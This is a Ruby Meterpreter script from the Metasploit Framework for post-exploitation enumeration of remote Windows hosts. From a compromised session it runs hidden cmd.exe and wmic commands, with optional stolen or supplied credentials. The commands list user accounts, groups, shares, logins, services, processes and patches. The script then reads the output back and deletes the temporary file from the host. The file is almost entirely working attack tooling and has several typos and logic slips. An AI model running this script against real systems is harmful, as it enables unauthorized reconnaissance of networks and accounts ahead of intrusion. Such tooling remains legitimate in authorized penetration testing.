metasploit-framework/scripts/meterpreter/remotewinenum.rb

245 lines
7.4 KiB
Ruby

#!/usr/bin/env ruby
#
#Meterpreter script for basic enumeration of Windows 2003, Windows Vista
# and Windows XP remote targets using native windows command wmic.
#Provided by Carlos Perez at carlos_perez[at]darkoperator.com
#Verion: 0.1.0
#Note:
################## Variable Declarations ##################
session = client
# Variables for Options
helpcall = 0
rusr = nil
rpass = nil
trg = ""
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-t" => [ true, "The target address"],
"-u" => [ true, "User on the target system (If not provided it will use credential of process)"],
"-p" => [ true, "Password of user on target system"]
)
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.config_directory, 'logs', 'remotewinenum')
# Create the log directory
::FileUtils.mkdir_p(logs)
# WMIC Commands that will be executed on the Target
wmic = [
'environment list',
'share list',
'nicconfig list',
'computersystem list',
'useraccount list',
'group list',
'sysaccount list',
'volume list brief',
'logicaldisk get description,filesystem,name,size',
'netlogin get name,lastlogon,badpasswordcount',
'netclient list brief',
'netuse get name,username,connectiontype,localname',
'share get name,path',
'nteventlog get path,filename,writeable',
'service list brief',
'process list brief',
'startup list full',
'rdtoggle list',
'product get name,version',
'qfe list'
]
################## Function Declarations ##################
# Function for running a list of WMIC commands stored in a array, returs string
def wmicexec(session,wmic,user,pass,trgt)
print_status("Running WMIC Commands ....")
tmpout = ''
command = nil
runfail = 0
runningas = session.sys.config.getuid
begin
tmp = session.fs.file.expand_path("%TEMP%")
# Temporary file on windows host to store results
wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"
wmic.each do |wmi|
if user == nil
print_status("The commands will be ran under the credentials of #{runningas}")
command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
else
command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
end
print_status "\trunning command wimic #{wmi}"
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
#print_status "\twmic #{command}"
r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
#Making sure that wmic finishes before executing next wmic command
prog2check = "wmic.exe"
found = 0
sleep(2)
while found == 0
session.sys.process.get_processes().each do |x|
found =1
if prog2check == (x['name'].downcase)
sleep(0.5)
found = 0
end
end
end
r.close
end
# Read the output file of the wmic commands
wmioutfile = session.fs.file.new(wmicfl, "rb")
until wmioutfile.eof?
tmpout << wmioutfile.read
end
# Close output file in host
wmioutfile.close
rescue ::Exception => e
print_status("Error running WMIC commands: #{e.class} #{e}")
end
# We delete the file with the wmic command output.
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
c.close
tmpout
end
#-------------------------------------------------------------------------------
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each do |d|
output.puts(d)
end
output.close
end
#------------------------------------------------------------------------------
# Function to generate report header
def headerbuid(session,target,dest)
# Header for File that will hold all the output of the commands
info = session.sys.config.sysinfo
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
header << "Running as: #{client.sys.config.getuid}\n"
header << "From: #{info['Computer']}\n"
header << "OS: #{info['OS']}\n"
header << "Target: #{target}\n"
header << "\n\n\n"
print_status("Saving report to #{dest}")
header
end
#------------------------------------------------------------------------------
def winver(session)
stringtest = ""
verout = []
tmp = session.fs.file.expand_path("%TEMP%")
wmitmptxt = tmp + "\\" + sprintf("%.5d",rand(100000))
r = session.sys.process.execute("cmd.exe /c ver", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
stringtest << d
end
r.channel.close
r.close
verout, minor, major = stringtest.scan(/(\d)\.(\d)\.(\d*)/)
version = nil
if verout[0] == "6"
if verout[1] == "0"
r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmitmptxt} os get name", nil, {'Hidden' => true})
sleep(2)
# Read the output file of the wmic commands
r = session.sys.process.execute("cmd.exe /c type #{wmitmptxt}", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
if d =~ /Windows Serverr 2008/
version = "Windows 2008"
elsif d =~ /Windows Vista/
version = "Windows Vista"
end
end
r.channel.close
r.close
elsif verout[1] == "1"
version = "Windpows 7"
end
elsif verout [0] == "5"
if verout[1] == "0"
version = "Windows 2000"
elsif verout[1] == "1"
version = "Windows XP"
elsif verout[1] == "2"
version = "Windows 2003"
end
end
version
end
#------------------------------------------------------------------------------
# Function Help Message
def helpmsg
print(
"Remote Windows Enumeration Meterpreter Script\n" +
"This script will enumerate windows hosts in the target enviroment\n" +
"given a username and password or using the credential under witch\n" +
"Meterpeter is running using WMI wmic windows native tool.\n" +
"Usage:\n" +
@@exec_opts.usage
)
end
################## MAIN ##################
localos = winver(session)
# Check that the command is not being ran on a Win2k host
# since wmic is not present in Windows 2000
if localos =~ /(Windows 2000)/
print_status("This script is not supported to be ran from Windows 2000 servers!!!")
else
# Parsing of Options
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
trg = val
when "-u"
rusr = val
when "-p"
rpass = val
when "-h"
helpmsg
helpcall = 1
end
}
#logfile name
dest = logs + "/" + trg + filenameinfo
# Executing main logic of the script
if helpcall == 0 and trg != ""
# Making sure that is running as System a Username and Password for target machine must be provided
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM" && rusr == nil && rpass == nil
print_status("Stopped: Running as System and no user provided for connecting to target!!")
else trg != nil && helpcall != 1
filewrt(dest,headerbuid(session,trg,dest))
filewrt(dest,wmicexec(session,wmic,rusr,rpass,trg))
end
elsif helpcall == 0 and trg == ""
helpmsg
end
end